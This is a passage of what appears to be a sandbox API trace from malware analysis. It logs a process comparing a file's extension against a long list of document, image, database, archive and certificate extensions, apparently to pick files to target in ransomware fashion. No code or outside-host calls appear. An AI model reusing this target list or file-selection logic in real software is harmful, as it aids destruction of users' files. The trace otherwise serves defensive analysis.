out: hHeap=0x690000) returned 1 [0050.794] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.794] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f38 | out: hHeap=0x690000) returned 1 [0050.800] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f38 | out: hHeap=0x690000) returned 1 [0050.808] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f38 | out: hHeap=0x690000) returned 1 [0051.002] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f38 | out: hHeap=0x690000) returned 1 [0051.004] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0051.004] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0051.004] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0051.005] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0051.012] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0051.030] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0051.030] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0051.033] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0051.034] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0051.716] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0051.717] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0051.717] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0051.717] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0051.956] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0051.960] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0051.961] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0051.967] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343fd8 | out: hHeap=0x690000) returned 1 [0051.968] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343fd8 | out: hHeap=0x690000) returned 1 [0051.969] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0051.974] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0051.977] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0051.978] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353fe0 | out: hHeap=0x690000) returned 1 [0051.978] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343fd8 | out: hHeap=0x690000) returned 1 [0051.979] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0051.980] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0051.981] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0051.981] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0051.987] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4373ff0 | out: hHeap=0x690000) returned 1 [0051.987] lstrlenW (lpString="MySharePoints.ico") returned 17 [0051.987] lstrlenW (lpString=".1cd") returned 4 [0051.987] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0051.987] lstrlenW (lpString=".3ds") returned 4 [0051.988] lstrcmpiW (lpString1=".3ds", lpString2=".ico") returned -1 [0051.988] lstrlenW (lpString=".3fr") returned 4 [0051.988] lstrcmpiW (lpString1=".3fr", lpString2=".ico") returned -1 [0051.988] lstrlenW (lpString=".3g2") returned 4 [0051.988] lstrcmpiW (lpString1=".3g2", lpString2=".ico") returned -1 [0051.988] lstrlenW (lpString=".3gp") returned 4 [0051.988] lstrcmpiW (lpString1=".3gp", lpString2=".ico") returned -1 [0051.988] lstrlenW (lpString=".7z") returned 3 [0051.988] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0051.988] lstrlenW (lpString=".accda") returned 6 [0051.988] lstrcmpiW (lpString1=".accda", lpString2="ts.ico") returned -1 [0051.988] lstrlenW (lpString=".accdb") returned 6 [0051.988] lstrcmpiW (lpString1=".accdb", lpString2="ts.ico") returned -1 [0051.988] lstrlenW (lpString=".accdc") returned 6 [0051.988] lstrcmpiW (lpString1=".accdc", lpString2="ts.ico") returned -1 [0051.988] lstrlenW (lpString=".accde") returned 6 [0051.988] lstrcmpiW (lpString1=".accde", lpString2="ts.ico") returned -1 [0051.988] lstrlenW (lpString=".accdt") returned 6 [0051.988] lstrcmpiW (lpString1=".accdt", lpString2="ts.ico") returned -1 [0051.988] lstrlenW (lpString=".accdw") returned 6 [0051.988] lstrcmpiW (lpString1=".accdw", lpString2="ts.ico") returned -1 [0051.988] lstrlenW (lpString=".adb") returned 4 [0051.988] lstrcmpiW (lpString1=".adb", lpString2=".ico") returned -1 [0051.988] lstrlenW (lpString=".adp") returned 4 [0051.988] lstrcmpiW (lpString1=".adp", lpString2=".ico") returned -1 [0051.988] lstrlenW (lpString=".ai") returned 3 [0051.988] lstrcmpiW (lpString1=".ai", lpString2="ico") returned -1 [0051.988] lstrlenW (lpString=".ai3") returned 4 [0051.988] lstrcmpiW (lpString1=".ai3", lpString2=".ico") returned -1 [0051.988] lstrlenW (lpString=".ai4") returned 4 [0051.988] lstrcmpiW (lpString1=".ai4", lpString2=".ico") returned -1 [0051.988] lstrlenW (lpString=".ai5") returned 4 [0051.988] lstrcmpiW (lpString1=".ai5", lpString2=".ico") returned -1 [0051.988] lstrlenW (lpString=".ai6") returned 4 [0051.989] lstrcmpiW (lpString1=".ai6", lpString2=".ico") returned -1 [0051.989] lstrlenW (lpString=".ai7") returned 4 [0051.989] lstrcmpiW (lpString1=".ai7", lpString2=".ico") returned -1 [0051.989] lstrlenW (lpString=".ai8") returned 4 [0051.989] lstrcmpiW (lpString1=".ai8", lpString2=".ico") returned -1 [0051.989] lstrlenW (lpString=".anim") returned 5 [0051.989] lstrcmpiW (lpString1=".anim", lpString2="s.ico") returned -1 [0051.989] lstrlenW (lpString=".arw") returned 4 [0051.989] lstrcmpiW (lpString1=".arw", lpString2=".ico") returned -1 [0051.989] lstrlenW (lpString=".as") returned 3 [0051.989] lstrcmpiW (lpString1=".as", lpString2="ico") returned -1 [0051.989] lstrlenW (lpString=".asa") returned 4 [0051.989] lstrcmpiW (lpString1=".asa", lpString2=".ico") returned -1 [0051.989] lstrlenW (lpString=".asc") returned 4 [0051.989] lstrcmpiW (lpString1=".asc", lpString2=".ico") returned -1 [0051.989] lstrlenW (lpString=".ascx") returned 5 [0051.989] lstrcmpiW (lpString1=".ascx", lpString2="s.ico") returned -1 [0051.989] lstrlenW (lpString=".asm") returned 4 [0051.989] lstrcmpiW (lpString1=".asm", lpString2=".ico") returned -1 [0051.989] lstrlenW (lpString=".asmx") returned 5 [0051.989] lstrcmpiW (lpString1=".asmx", lpString2="s.ico") returned -1 [0051.989] lstrlenW (lpString=".asp") returned 4 [0051.989] lstrcmpiW (lpString1=".asp", lpString2=".ico") returned -1 [0051.989] lstrlenW (lpString=".aspx") returned 5 [0051.989] lstrcmpiW (lpString1=".aspx", lpString2="s.ico") returned -1 [0051.989] lstrlenW (lpString=".asr") returned 4 [0051.989] lstrcmpiW (lpString1=".asr", lpString2=".ico") returned -1 [0051.989] lstrlenW (lpString=".asx") returned 4 [0051.989] lstrcmpiW (lpString1=".asx", lpString2=".ico") returned -1 [0051.989] lstrlenW (lpString=".avi") returned 4 [0051.989] lstrcmpiW (lpString1=".avi", lpString2=".ico") returned -1 [0051.989] lstrlenW (lpString=".avs") returned 4 [0051.989] lstrcmpiW (lpString1=".avs", lpString2=".ico") returned -1 [0051.989] lstrlenW (lpString=".backup") returned 7 [0051.990] lstrcmpiW (lpString1=".backup", lpString2="nts.ico") returned -1 [0051.990] lstrlenW (lpString=".bak") returned 4 [0051.990] lstrcmpiW (lpString1=".bak", lpString2=".ico") returned -1 [0051.990] lstrlenW (lpString=".bay") returned 4 [0051.990] lstrcmpiW (lpString1=".bay", lpString2=".ico") returned -1 [0051.990] lstrlenW (lpString=".bd") returned 3 [0051.990] lstrcmpiW (lpString1=".bd", lpString2="ico") returned -1 [0051.990] lstrlenW (lpString=".bin") returned 4 [0051.990] lstrcmpiW (lpString1=".bin", lpString2=".ico") returned -1 [0051.990] lstrlenW (lpString=".bmp") returned 4 [0051.990] lstrcmpiW (lpString1=".bmp", lpString2=".ico") returned -1 [0051.990] lstrlenW (lpString=".bz2") returned 4 [0051.990] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0051.990] lstrlenW (lpString=".c") returned 2 [0051.990] lstrcmpiW (lpString1=".c", lpString2="co") returned -1 [0051.990] lstrlenW (lpString=".cdr") returned 4 [0051.990] lstrcmpiW (lpString1=".cdr", lpString2=".ico") returned -1 [0051.990] lstrlenW (lpString=".cer") returned 4 [0051.990] lstrcmpiW (lpString1=".cer", lpString2=".ico") returned -1 [0051.990] lstrlenW (lpString=".cf") returned 3 [0051.990] lstrcmpiW (lpString1=".cf", lpString2="ico") returned -1 [0051.990] lstrlenW (lpString=".cfc") returned 4 [0051.990] lstrcmpiW (lpString1=".cfc", lpString2=".ico") returned -1 [0051.990] lstrlenW (lpString=".cfm") returned 4 [0051.990] lstrcmpiW (lpString1=".cfm", lpString2=".ico") returned -1 [0051.990] lstrlenW (lpString=".cfml") returned 5 [0051.990] lstrcmpiW (lpString1=".cfml", lpString2="s.ico") returned -1 [0051.990] lstrlenW (lpString=".cfu") returned 4 [0051.990] lstrcmpiW (lpString1=".cfu", lpString2=".ico") returned -1 [0051.990] lstrlenW (lpString=".chm") returned 4 [0051.990] lstrcmpiW (lpString1=".chm", lpString2=".ico") returned -1 [0051.990] lstrlenW (lpString=".cin") returned 4 [0051.990] lstrcmpiW (lpString1=".cin", lpString2=".ico") returned -1 [0051.990] lstrlenW (lpString=".class") returned 6 [0051.990] lstrcmpiW (lpString1=".class", lpString2="ts.ico") returned -1 [0051.990] lstrlenW (lpString=".clx") returned 4 [0051.991] lstrcmpiW (lpString1=".clx", lpString2=".ico") returned -1 [0051.991] lstrlenW (lpString=".config") returned 7 [0051.991] lstrcmpiW (lpString1=".config", lpString2="nts.ico") returned -1 [0051.991] lstrlenW (lpString=".cpp") returned 4 [0051.991] lstrcmpiW (lpString1=".cpp", lpString2=".ico") returned -1 [0051.991] lstrlenW (lpString=".cr2") returned 4 [0051.991] lstrcmpiW (lpString1=".cr2", lpString2=".ico") returned -1 [0051.991] lstrlenW (lpString=".crt") returned 4 [0051.991] lstrcmpiW (lpString1=".crt", lpString2=".ico") returned -1 [0051.991] lstrlenW (lpString=".crw") returned 4 [0051.991] lstrcmpiW (lpString1=".crw", lpString2=".ico") returned -1 [0051.991] lstrlenW (lpString=".cs") returned 3 [0051.991] lstrcmpiW (lpString1=".cs", lpString2="ico") returned -1 [0051.991] lstrlenW (lpString=".css") returned 4 [0051.991] lstrcmpiW (lpString1=".css", lpString2=".ico") returned -1 [0051.991] lstrlenW (lpString=".csv") returned 4 [0051.991] lstrcmpiW (lpString1=".csv", lpString2=".ico") returned -1 [0051.991] lstrlenW (lpString=".cub") returned 4 [0051.991] lstrcmpiW (lpString1=".cub", lpString2=".ico") returned -1 [0051.991] lstrlenW (lpString=".dae") returned 4 [0051.991] lstrcmpiW (lpString1=".dae", lpString2=".ico") returned -1 [0051.991] lstrlenW (lpString=".dat") returned 4 [0051.991] lstrcmpiW (lpString1=".dat", lpString2=".ico") returned -1 [0051.991] lstrlenW (lpString=".db") returned 3 [0051.991] lstrcmpiW (lpString1=".db", lpString2="ico") returned -1 [0051.991] lstrlenW (lpString=".dbf") returned 4 [0051.991] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0051.991] lstrlenW (lpString=".dbx") returned 4 [0051.991] lstrcmpiW (lpString1=".dbx", lpString2=".ico") returned -1 [0051.991] lstrlenW (lpString=".dc3") returned 4 [0051.991] lstrcmpiW (lpString1=".dc3", lpString2=".ico") returned -1 [0051.991] lstrlenW (lpString=".dcm") returned 4 [0051.991] lstrcmpiW (lpString1=".dcm", lpString2=".ico") returned -1 [0051.991] lstrlenW (lpString=".dcr") returned 4 [0051.991] lstrcmpiW (lpString1=".dcr", lpString2=".ico") returned -1 [0051.991] lstrlenW (lpString=".der") returned 4 [0051.992] lstrcmpiW (lpString1=".der", lpString2=".ico") returned -1 [0051.992] lstrlenW (lpString=".dib") returned 4 [0051.992] lstrcmpiW (lpString1=".dib", lpString2=".ico") returned -1 [0051.992] lstrlenW (lpString=".dic") returned 4 [0051.992] lstrcmpiW (lpString1=".dic", lpString2=".ico") returned -1 [0051.992] lstrlenW (lpString=".dif") returned 4 [0051.992] lstrcmpiW (lpString1=".dif", lpString2=".ico") returned -1 [0051.992] lstrlenW (lpString=".divx") returned 5 [0051.992] lstrcmpiW (lpString1=".divx", lpString2="s.ico") returned -1 [0051.992] lstrlenW (lpString=".djvu") returned 5 [0051.992] lstrcmpiW (lpString1=".djvu", lpString2="s.ico") returned -1 [0051.992] lstrlenW (lpString=".dng") returned 4 [0051.992] lstrcmpiW (lpString1=".dng", lpString2=".ico") returned -1 [0051.992] lstrlenW (lpString=".doc") returned 4 [0051.992] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0051.992] lstrlenW (lpString=".docm") returned 5 [0051.992] lstrcmpiW (lpString1=".docm", lpString2="s.ico") returned -1 [0051.992] lstrlenW (lpString=".docx") returned 5 [0051.992] lstrcmpiW (lpString1=".docx", lpString2="s.ico") returned -1 [0051.992] lstrlenW (lpString=".dot") returned 4 [0051.992] lstrcmpiW (lpString1=".dot", lpString2=".ico") returned -1 [0051.992] lstrlenW (lpString=".dotm") returned 5 [0051.992] lstrcmpiW (lpString1=".dotm", lpString2="s.ico") returned -1 [0051.992] lstrlenW (lpString=".dotx") returned 5 [0051.992] lstrcmpiW (lpString1=".dotx", lpString2="s.ico") returned -1 [0051.992] lstrlenW (lpString=".dpx") returned 4 [0051.992] lstrcmpiW (lpString1=".dpx", lpString2=".ico") returned -1 [0051.992] lstrlenW (lpString=".dqy") returned 4 [0051.992] lstrcmpiW (lpString1=".dqy", lpString2=".ico") returned -1 [0051.992] lstrlenW (lpString=".dsn") returned 4 [0051.992] lstrcmpiW (lpString1=".dsn", lpString2=".ico") returned -1 [0051.992] lstrlenW (lpString=".dt") returned 3 [0051.992] lstrcmpiW (lpString1=".dt", lpString2="ico") returned -1 [0051.992] lstrlenW (lpString=".dtd") returned 4 [0051.992] lstrcmpiW (lpString1=".dtd", lpString2=".ico") returned -1 [0051.992] lstrlenW (lpString=".dwg") returned 4 [0051.993] lstrcmpiW (lpString1=".dwg", lpString2=".ico") returned -1 [0051.993] lstrlenW (lpString=".dwt") returned 4 [0051.993] lstrcmpiW (lpString1=".dwt", lpString2=".ico") returned -1 [0051.993] lstrlenW (lpString=".dx") returned 3 [0051.993] lstrcmpiW (lpString1=".dx", lpString2="ico") returned -1 [0051.993] lstrlenW (lpString=".dxf") returned 4 [0051.993] lstrcmpiW (lpString1=".dxf", lpString2=".ico") returned -1 [0051.993] lstrlenW (lpString=".edml") returned 5 [0051.993] lstrcmpiW (lpString1=".edml", lpString2="s.ico") returned -1 [0051.993] lstrlenW (lpString=".efd") returned 4 [0051.993] lstrcmpiW (lpString1=".efd", lpString2=".ico") returned -1 [0051.993] lstrlenW (lpString=".elf") returned 4 [0051.993] lstrcmpiW (lpString1=".elf", lpString2=".ico") returned -1 [0051.993] lstrlenW (lpString=".emf") returned 4 [0051.993] lstrcmpiW (lpString1=".emf", lpString2=".ico") returned -1 [0051.993] lstrlenW (lpString=".emz") returned 4 [0051.993] lstrcmpiW (lpString1=".emz", lpString2=".ico") returned -1 [0051.993] lstrlenW (lpString=".epf") returned 4 [0051.993] lstrcmpiW (lpString1=".epf", lpString2=".ico") returned -1 [0051.993] lstrlenW (lpString=".eps") returned 4 [0051.993] lstrcmpiW (lpString1=".eps", lpString2=".ico") returned -1 [0051.993] lstrlenW (lpString=".epsf") returned 5 [0051.993] lstrcmpiW (lpString1=".epsf", lpString2="s.ico") returned -1 [0051.993] lstrlenW (lpString=".epsp") returned 5 [0051.993] lstrcmpiW (lpString1=".epsp", lpString2="s.ico") returned -1 [0051.993] lstrlenW (lpString=".erf") returned 4 [0051.993] lstrcmpiW (lpString1=".erf", lpString2=".ico") returned -1 [0051.993] lstrlenW (lpString=".exr") returned 4 [0051.993] lstrcmpiW (lpString1=".exr", lpString2=".ico") returned -1 [0051.993] lstrlenW (lpString=".f4v") returned 4 [0051.993] lstrcmpiW (lpString1=".f4v", lpString2=".ico") returned -1 [0051.993] lstrlenW (lpString=".fido") returned 5 [0051.994] lstrcmpiW (lpString1=".fido", lpString2="s.ico") returned -1 [0051.994] lstrlenW (lpString=".flm") returned 4 [0051.994] lstrcmpiW (lpString1=".flm", lpString2=".ico") returned -1 [0051.994] lstrlenW (lpString=".flv") returned 4 [0051.994] lstrcmpiW (lpString1=".flv", lpString2=".ico") returned -1 [0051.994] lstrlenW (lpString=".frm") returned 4 [0051.994] lstrcmpiW (lpString1=".frm", lpString2=".ico") returned -1 [0051.994] lstrlenW (lpString=".fxg") returned 4 [0051.994] lstrcmpiW (lpString1=".fxg", lpString2=".ico") returned -1 [0051.994] lstrlenW (lpString=".geo") returned 4 [0051.994] lstrcmpiW (lpString1=".geo", lpString2=".ico") returned -1 [0051.994] lstrlenW (lpString=".gif") returned 4 [0051.994] lstrcmpiW (lpString1=".gif", lpString2=".ico") returned -1 [0051.994] lstrlenW (lpString=".grs") returned 4 [0051.994] lstrcmpiW (lpString1=".grs", lpString2=".ico") returned -1 [0051.994] lstrlenW (lpString=".gz") returned 3 [0051.994] lstrcmpiW (lpString1=".gz", lpString2="ico") returned -1 [0051.994] lstrlenW (lpString=".h") returned 2 [0051.994] lstrcmpiW (lpString1=".h", lpString2="co") returned -1 [0051.994] lstrlenW (lpString=".hdr") returned 4 [0051.994] lstrcmpiW (lpString1=".hdr", lpString2=".ico") returned -1 [0051.994] lstrlenW (lpString=".hpp") returned 4 [0051.994] lstrcmpiW (lpString1=".hpp", lpString2=".ico") returned -1 [0051.994] lstrlenW (lpString=".hta") returned 4 [0051.994] lstrcmpiW (lpString1=".hta", lpString2=".ico") returned -1 [0051.994] lstrlenW (lpString=".htc") returned 4 [0051.994] lstrcmpiW (lpString1=".htc", lpString2=".ico") returned -1 [0051.994] lstrlenW (lpString=".htm") returned 4 [0051.994] lstrcmpiW (lpString1=".htm", lpString2=".ico") returned -1 [0051.994] lstrlenW (lpString=".html") returned 5 [0051.994] lstrcmpiW (lpString1=".html", lpString2="s.ico") returned -1 [0051.994] lstrlenW (lpString=".icb") returned 4 [0051.994] lstrcmpiW (lpString1=".icb", lpString2=".ico") returned -1 [0051.994] lstrlenW (lpString=".ics") returned 4 [0051.994] lstrcmpiW (lpString1=".ics", lpString2=".ico") returned 1 [0051.994] lstrlenW (lpString=".iff") returned 4 [0051.994] lstrcmpiW (lpString1=".iff", lpString2=".ico") returned 1 [0051.995] lstrlenW (lpString=".inc") returned 4 [0051.995] lstrcmpiW (lpString1=".inc", lpString2=".ico") returned 1 [0051.995] lstrlenW (lpString=".indd") returned 5 [0051.995] lstrcmpiW (lpString1=".indd", lpString2="s.ico") returned -1 [0051.995] lstrlenW (lpString=".ini") returned 4 [0051.995] lstrcmpiW (lpString1=".ini", lpString2=".ico") returned 1 [0051.995] lstrlenW (lpString=".iqy") returned 4 [0051.995] lstrcmpiW (lpString1=".iqy", lpString2=".ico") returned 1 [0051.995] lstrlenW (lpString=".j2c") returned 4 [0051.995] lstrcmpiW (lpString1=".j2c", lpString2=".ico") returned 1 [0051.995] lstrlenW (lpString=".j2k") returned 4 [0051.995] lstrcmpiW (lpString1=".j2k", lpString2=".ico") returned 1 [0051.995] lstrlenW (lpString=".java") returned 5 [0051.995] lstrcmpiW (lpString1=".java", lpString2="s.ico") returned -1 [0051.995] lstrlenW (lpString=".jp2") returned 4 [0051.995] lstrcmpiW (lpString1=".jp2", lpString2=".ico") returned 1 [0051.995] lstrlenW (lpString=".jpc") returned 4 [0051.995] lstrcmpiW (lpString1=".jpc", lpString2=".ico") returned 1 [0051.995] lstrlenW (lpString=".jpe") returned 4 [0051.995] lstrcmpiW (lpString1=".jpe", lpString2=".ico") returned 1 [0051.995] lstrlenW (lpString=".jpeg") returned 5 [0051.995] lstrcmpiW (lpString1=".jpeg", lpString2="s.ico") returned -1 [0051.995] lstrlenW (lpString=".jpf") returned 4 [0051.995] lstrcmpiW (lpString1=".jpf", lpString2=".ico") returned 1 [0051.995] lstrlenW (lpString=".jpg") returned 4 [0051.995] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0051.995] lstrlenW (lpString=".jpx") returned 4 [0051.995] lstrcmpiW (lpString1=".jpx", lpString2=".ico") returned 1 [0051.995] lstrlenW (lpString=".js") returned 3 [0051.995] lstrcmpiW (lpString1=".js", lpString2="ico") returned -1 [0051.995] lstrlenW (lpString=".jsf") returned 4 [0051.995] lstrcmpiW (lpString1=".jsf", lpString2=".ico") returned 1 [0051.995] lstrlenW (lpString=".json") returned 5 [0051.995] lstrcmpiW (lpString1=".json", lpString2="s.ico") returned -1 [0051.995] lstrlenW (lpString=".jsp") returned 4 [0051.995] lstrcmpiW (lpString1=".jsp", lpString2=".ico") returned 1 [0051.996] lstrlenW (lpString=".kdc") returned 4 [0051.996] lstrcmpiW (lpString1=".kdc", lpString2=".ico") returned 1 [0051.996] lstrlenW (lpString=".kmz") returned 4 [0051.996] lstrcmpiW (lpString1=".kmz", lpString2=".ico") returned 1 [0051.996] lstrlenW (lpString=".kwm") returned 4 [0051.996] lstrcmpiW (lpString1=".kwm", lpString2=".ico") returned 1 [0051.996] lstrlenW (lpString=".lasso") returned 6 [0051.996] lstrcmpiW (lpString1=".lasso", lpString2="ts.ico") returned -1 [0051.996] lstrlenW (lpString=".lbi") returned 4 [0051.996] lstrcmpiW (lpString1=".lbi", lpString2=".ico") returned 1 [0051.996] lstrlenW (lpString=".lgf") returned 4 [0051.996] lstrcmpiW (lpString1=".lgf", lpString2=".ico") returned 1 [0051.996] lstrlenW (lpString=".lgp") returned 4 [0051.996] lstrcmpiW (lpString1=".lgp", lpString2=".ico") returned 1 [0051.996] lstrlenW (lpString=".log") returned 4 [0051.996] lstrcmpiW (lpString1=".log", lpString2=".ico") returned 1 [0051.996] lstrlenW (lpString=".m1v") returned 4 [0051.996] lstrcmpiW (lpString1=".m1v", lpString2=".ico") returned 1 [0051.996] lstrlenW (lpString=".m4a") returned 4 [0051.996] lstrcmpiW (lpString1=".m4a", lpString2=".ico") returned 1 [0051.996] lstrlenW (lpString=".m4v") returned 4 [0051.996] lstrcmpiW (lpString1=".m4v", lpString2=".ico") returned 1 [0051.996] lstrlenW (lpString=".max") returned 4 [0051.996] lstrcmpiW (lpString1=".max", lpString2=".ico") returned 1 [0051.996] lstrlenW (lpString=".md") returned 3 [0051.996] lstrcmpiW (lpString1=".md", lpString2="ico") returned -1 [0051.996] lstrlenW (lpString=".mda") returned 4 [0051.996] lstrcmpiW (lpString1=".mda", lpString2=".ico") returned 1 [0051.996] lstrlenW (lpString=".mdb") returned 4 [0051.996] lstrcmpiW (lpString1=".mdb", lpString2=".ico") returned 1 [0051.996] lstrlenW (lpString=".mde") returned 4 [0051.996] lstrcmpiW (lpString1=".mde", lpString2=".ico") returned 1 [0051.996] lstrlenW (lpString=".mdf") returned 4 [0051.996] lstrcmpiW (lpString1=".mdf", lpString2=".ico") returned 1 [0051.996] lstrlenW (lpString=".mdw") returned 4 [0051.997] lstrcmpiW (lpString1=".mdw", lpString2=".ico") returned 1 [0051.997] lstrlenW (lpString=".mef") returned 4 [0051.997] lstrcmpiW (lpString1=".mef", lpString2=".ico") returned 1 [0051.997] lstrlenW (lpString=".mft") returned 4 [0051.997] lstrcmpiW (lpString1=".mft", lpString2=".ico") returned 1 [0051.997] lstrlenW (lpString=".mfw") returned 4 [0051.997] lstrcmpiW (lpString1=".mfw", lpString2=".ico") returned 1 [0051.997] lstrlenW (lpString=".mht") returned 4 [0051.997] lstrcmpiW (lpString1=".mht", lpString2=".ico") returned 1 [0051.997] lstrlenW (lpString=".mhtml") returned 6 [0051.997] lstrcmpiW (lpString1=".mhtml", lpString2="ts.ico") returned -1 [0051.997] lstrlenW (lpString=".mka") returned 4 [0051.997] lstrcmpiW (lpString1=".mka", lpString2=".ico") returned 1 [0051.997] lstrlenW (lpString=".mkidx") returned 6 [0051.997] lstrcmpiW (lpString1=".mkidx", lpString2="ts.ico") returned -1 [0051.997] lstrlenW (lpString=".mkv") returned 4 [0051.997] lstrcmpiW (lpString1=".mkv", lpString2=".ico") returned 1 [0051.997] lstrlenW (lpString=".mos") returned 4 [0051.997] lstrcmpiW (lpString1=".mos", lpString2=".ico") returned 1 [0051.997] lstrlenW (lpString=".mov") returned 4 [0051.997] lstrcmpiW (lpString1=".mov", lpString2=".ico") returned 1 [0051.997] lstrlenW (lpString=".mp3") returned 4 [0051.997] lstrcmpiW (lpString1=".mp3", lpString2=".ico") returned 1 [0051.997] lstrlenW (lpString=".mp4") returned 4 [0051.997] lstrcmpiW (lpString1=".mp4", lpString2=".ico") returned 1 [0051.997] lstrlenW (lpString=".mpeg") returned 5 [0051.997] lstrcmpiW (lpString1=".mpeg", lpString2="s.ico") returned -1 [0051.997] lstrlenW (lpString=".mpg") returned 4 [0051.997] lstrcmpiW (lpString1=".mpg", lpString2=".ico") returned 1 [0051.997] lstrlenW (lpString=".mpv") returned 4 [0051.997] lstrcmpiW (lpString1=".mpv", lpString2=".ico") returned 1 [0051.997] lstrlenW (lpString=".mrw") returned 4 [0051.997] lstrcmpiW (lpString1=".mrw", lpString2=".ico") returned 1 [0051.997] lstrlenW (lpString=".msg") returned 4 [0051.997] lstrcmpiW (lpString1=".msg", lpString2=".ico") returned 1 [0051.997] lstrlenW (lpString=".mxl") returned 4 [0051.998] lstrcmpiW (lpString1=".mxl", lpString2=".ico") returned 1 [0051.998] lstrlenW (lpString=".myd") returned 4 [0051.998] lstrcmpiW (lpString1=".myd", lpString2=".ico") returned 1 [0051.998] lstrlenW (lpString=".myi") returned 4 [0051.998] lstrcmpiW (lpString1=".myi", lpString2=".ico") returned 1 [0051.998] lstrlenW (lpString=".nef") returned 4 [0051.998] lstrcmpiW (lpString1=".nef", lpString2=".ico") returned 1 [0051.998] lstrlenW (lpString=".nrw") returned 4 [0051.998] lstrcmpiW (lpString1=".nrw", lpString2=".ico") returned 1 [0051.998] lstrlenW (lpString=".obj") returned 4 [0051.998] lstrcmpiW (lpString1=".obj", lpString2=".ico") returned 1 [0051.998] lstrlenW (lpString=".odb") returned 4 [0051.998] lstrcmpiW (lpString1=".odb", lpString2=".ico") returned 1 [0051.998] lstrlenW (lpString=".odc") returned 4 [0051.998] lstrcmpiW (lpString1=".odc", lpString2=".ico") returned 1 [0051.998] lstrlenW (lpString=".odm") returned 4 [0051.998] lstrcmpiW (lpString1=".odm", lpString2=".ico") returned 1 [0051.998] lstrlenW (lpString=".odp") returned 4 [0051.998] lstrcmpiW (lpString1=".odp", lpString2=".ico") returned 1 [0051.998] lstrlenW (lpString=".ods") returned 4 [0051.998] lstrcmpiW (lpString1=".ods", lpString2=".ico") returned 1 [0051.998] lstrlenW (lpString=".oft") returned 4 [0051.998] lstrcmpiW (lpString1=".oft", lpString2=".ico") returned 1 [0051.998] lstrlenW (lpString=".one") returned 4 [0051.998] lstrcmpiW (lpString1=".one", lpString2=".ico") returned 1 [0051.998] lstrlenW (lpString=".onepkg") returned 7 [0051.998] lstrcmpiW (lpString1=".onepkg", lpString2="nts.ico") returned -1 [0051.998] lstrlenW (lpString=".onetoc2") returned 8 [0051.998] lstrcmpiW (lpString1=".onetoc2", lpString2="ints.ico") returned -1 [0051.998] lstrlenW (lpString=".opt") returned 4 [0051.998] lstrcmpiW (lpString1=".opt", lpString2=".ico") returned 1 [0051.998] lstrlenW (lpString=".oqy") returned 4 [0051.998] lstrcmpiW (lpString1=".oqy", lpString2=".ico") returned 1 [0051.998] lstrlenW (lpString=".orf") returned 4 [0051.998] lstrcmpiW (lpString1=".orf", lpString2=".ico") returned 1 [0051.998] lstrlenW (lpString=".p12") returned 4 [0051.999] lstrcmpiW (lpString1=".p12", lpString2=".ico") returned 1 [0051.999] lstrlenW (lpString=".p7b") returned 4 [0051.999] lstrcmpiW 